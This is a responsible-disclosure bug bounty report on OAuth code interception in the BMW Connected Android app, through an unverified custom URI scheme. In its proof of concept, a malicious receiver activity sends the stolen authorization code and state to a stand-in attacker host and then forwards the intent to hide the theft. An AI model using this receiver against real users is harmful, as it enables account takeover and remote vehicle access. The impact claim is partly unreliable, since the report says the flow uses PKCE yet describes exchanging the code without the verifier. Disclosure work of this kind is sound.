BUG BOUNTY REPORT

BMW Connected App (Android) — de.bmw.connected.mobile20.na v5.5.1

Platform: Intigriti | Program: BMW Automotive | Date: May 9, 2026

Title	OAuth Authorization Code Interception via Unprotected Custom URI Scheme (RedirectUriReceiverActivity)
Severity	HIGH
CVSS Score	8.1 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)
CWE	CWE-940: Improper Verification of Source of a Communication Channel
OWASP Mobile	M1: Improper Credential Usage / M3: Insecure Authentication
Program Tier	Tier 1 — Vehicle Access & Remote Functions
Target	de.bmw.connected.mobile20.na v5.5.1 (NA variant)
Testing Method	Static Analysis — JADX 1.5.5, APKTool 3.0.2, MobSF
Tested On	Kali Linux — Static decompilation, no physical device required

1. Executive Summary

The BMW Connected Android application (de.bmw.connected.mobile20.na) contains a critical OAuth security misconfiguration that allows a malicious Android application installed on the same device to intercept BMW ID OAuth authorization codes. This enables complete account takeover, granting the attacker full access to the victim's BMW Connected account including remote vehicle functions (Tier 1 scope).

The vulnerability arises because the OAuth redirect URI receiver activity uses a custom URI scheme (com.bmw.connected://oauth) rather than a verified HTTPS App Link. No Android App Links verification (autoVerify) is configured, and BMW has not published a Digital Asset Links file (assetlinks.json) to claim ownership of this scheme. Any application on the device can register the same intent-filter and silently intercept the OAuth callback.

2. Vulnerability Details

2.1 Affected Component

Class	net.openid.appauth.RedirectUriReceiverActivity
Exported	true (accessible to any app on device)
Permission	NONE — no android:permission attribute
URI Scheme	com.bmw.connected://oauth
autoVerify	NOT PRESENT — no App Links verification
assetlinks.json	NOT FOUND at bmwusa.com or b2vapi.bmwgroup.com
Source File	~/tools/bmw_jadx/sources/net/openid/appauth/RedirectUriReceiverActivity.java

2.2 Vulnerable Manifest Configuration

From AndroidManifest.xml (lines 399–410):

```
<activity
    android:name="net.openid.appauth.RedirectUriReceiverActivity"
    android:exported="true">          <!-- No permission protection -->
    <intent-filter>                   <!-- No autoVerify="true" -->
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="com.bmw.connected"    <!-- Custom scheme -->
            android:host="oauth"/>                <!-- NOT an HTTPS App Link --
>
    </intent-filter>
</activity>
```

Key issues identified:

- android:exported="true" — the activity is accessible to all apps on the device
- No android:permission attribute — zero access control
- Custom URI scheme com.bmw.connected:// — not bound to BMW's domain
- No autoVerify="true" — Android cannot cryptographically verify BMW owns this scheme
- No assetlinks.json published — BMW has not claimed the scheme via Digital Asset Links

2.3 Vulnerable Source Code

RedirectUriReceiverActivity.java — passes raw Intent URI directly without validation:

```
public class RedirectUriReceiverActivity extends Activity {
    @Override
```

```
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        // Passes raw intercepted URI to AuthorizationManagementActivity
        startActivity(AuthorizationManagementActivity.l(
            this,
            getIntent().getData()  // <-- attacker controls this URI
        ));
        finish();
    }
}
```

AuthorizationManagementActivity.java — method l() accepts and processes the URI:

```
public static Intent l(Context context, Uri uri) {
    Intent intentK = k(context);
    intentK.setData(uri);           // Attacker URI stored
    intentK.addFlags(603979776);
    return intentK;                 // Passed into OAuth processing
}
```

The URI is then processed in method o() which extracts the authorization code:

```
private Intent o(Uri uri) {
    // State check present but does NOT prevent code interception:
    dz.c cVarD = d.d(this.f34585c, uri);  // Extracts ?code= from hijacked URI
    // Authorization code is now in attacker-controlled app
}
```

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3. Attack Scenario & Proof of Concept

3.1 Prerequisites

- Attacker can distribute a malicious app to the victim's device (sideload, third-party store, social engineering)
- Victim has BMW Connected app installed and initiates a login
- Both apps on same Android device

3.2 Attack Steps

1. Attacker creates a malicious Android app with the following intent-filter in its manifest:

```
<activity android:name=".MaliciousReceiver" android:exported="true">
  <intent-filter android:priority="999">
    <action android:name="android.intent.action.VIEW"/>
```

```
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="com.bmw.connected" android:host="oauth"/>
  </intent-filter>
</activity>
```

2. Victim installs the malicious app (e.g., disguised as a BMW companion or widget app).
3. Victim opens BMW Connected and initiates the BMW ID login flow. The app initiates a PKCE OAuth flow using AppAuth, with redirect URI set to com.bmw.connected://oauth.
4. The authorization server (login.bmwid.bmw.com or gcdm equivalent) redirects the browser to com.bmw.connected://oauth?code=AUTH_CODE&state=STATE.
5. Android displays a disambiguation dialog (or silently routes to the malicious app if it has higher priority). The authorization code and state are delivered to the malicious app's MaliciousReceiver activity via getIntent().getData().
6. The malicious app extracts the authorization code from the URI and sends it to an attacker-controlled server.
7. Attacker's server exchanges the code for access and refresh tokens at the BMW token endpoint, completing the OAuth flow.
8. Attacker now has full authenticated access to the victim's BMW Connected account.

3.3 Malicious Receiver PoC Code

```
public class MaliciousReceiver extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Uri data = getIntent().getData();
        if (data != null && "com.bmw.connected".equals(data.getScheme())) {
            String authCode = data.getQueryParameter("code");
            String state    = data.getQueryParameter("state");
            // Exfiltrate to attacker server
            exfiltrate("https://attacker.example.com/steal?code=" + authCode
                       + "&state=" + state);
            // Optionally forward to legitimate app to avoid suspicion
            Intent legit = new Intent(Intent.ACTION_VIEW, data);
            legit.setComponent(new ComponentName(
                "de.bmw.connected.mobile20.na",
                "net.openid.appauth.RedirectUriReceiverActivity"));
            startActivity(legit);
        }
        finish();
    }
}
```

4. Impact Assessment

Successful exploitation of this vulnerability grants an attacker a valid BMW ID OAuth access token. The impact is:

Account Takeover	Full access to victim's BMW Connected account, profile, and linked vehicles
Remote Vehicle Control	Remote lock/unlock, horn, lights, climate control via API (Tier 1 scope)
Vehicle Tracking	Access to GPS location history and real-time tracking of victim's vehicle
Personal Data	BMW ID profile data, address, linked payment methods for BMW services
Persistent Access	Attacker can obtain refresh tokens for long-lived unauthorized access
Silent Attack	No visible indication to victim; login flow may appear to complete normally

This vulnerability falls under Tier 1 (highest bounty tier) of the BMW Intigriti program as it directly enables unauthorized access to vehicle control and immobilizer-adjacent functions.

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5. Root Cause Analysis

The fundamental root cause is the use of a custom URI scheme (com.bmw.connected://) instead of HTTPS-based Android App Links (https://bmwusa.com/...) for the OAuth redirect callback.

Android's security model for URI schemes:

- Custom schemes (e.g., myapp://) — any app can register; OS shows disambiguation dialog or silently routes based on priority
- HTTPS App Links (android:autoVerify="true") — Android verifies ownership via Digital Asset Links JSON at the domain; only verified app receives the intent, no disambiguation

BMW uses the AppAuth library for Android, which supports HTTPS redirect URIs and App Links natively. The vulnerability is in the configuration, not the library itself.

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6. Recommended Remediation

6.1 Primary Fix — Migrate to HTTPS App Links (Recommended)

9. Register an HTTPS redirect URI with the BMW ID authorization server, e.g., https://connect.bmwusa.com/oauth/callback
10. Update RedirectUriReceiverActivity intent-filter to use HTTPS with autoVerify:

```
<activity
    android:name="net.openid.appauth.RedirectUriReceiverActivity"
    android:exported="true">
    <intent-filter android:autoVerify="true">  <!-- REQUIRED -->
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="https"
            android:host="connect.bmwusa.com"
            android:path="/oauth/callback"/>
    </intent-filter>
</activity>
```

11. Publish a Digital Asset Links file at https://connect.bmwusa.com/.well-known/assetlinks.json:

```
[{
  "relation": ["delegate_permission/common.handle_all_urls"],
  "target": {
    "namespace": "android_app",
    "package_name": "de.bmw.connected.mobile20.na",
    "sha256_cert_fingerprints": ["<APP_SIGNING_CERT_SHA256>"]
  }
}]
```

6.2 Secondary Mitigations

- Add android:permission to RedirectUriReceiverActivity to restrict access to BMW apps only
- Implement PKCE code_verifier validation server-side to ensure even intercepted codes cannot be exchanged without the original verifier
- Consider binding redirect URI to device-specific parameters for additional protection

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7. References & Supporting Evidence

- AndroidManifest.xml — lines 399–410 (exported RedirectUriReceiverActivity, no autoVerify)
- net/openid/appauth/RedirectUriReceiverActivity.java — raw URI passthrough
- net/openid/appauth/AuthorizationManagementActivity.java — method l() and o() URI processing
- curl https://www.bmwusa.com/.well-known/assetlinks.json → 404 Not Found
- curl https://b2vapi.bmwgroup.com/.well-known/assetlinks.json → empty response

- RFC 8252 — OAuth 2.0 for Native Apps (recommends HTTPS redirect URIs)
- Android App Links documentation — https://developer.android.com/training/app-links
- CWE-940: Improper Verification of Source of a Communication Channel

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Report prepared for responsible disclosure via Intigriti Bug Bounty Platform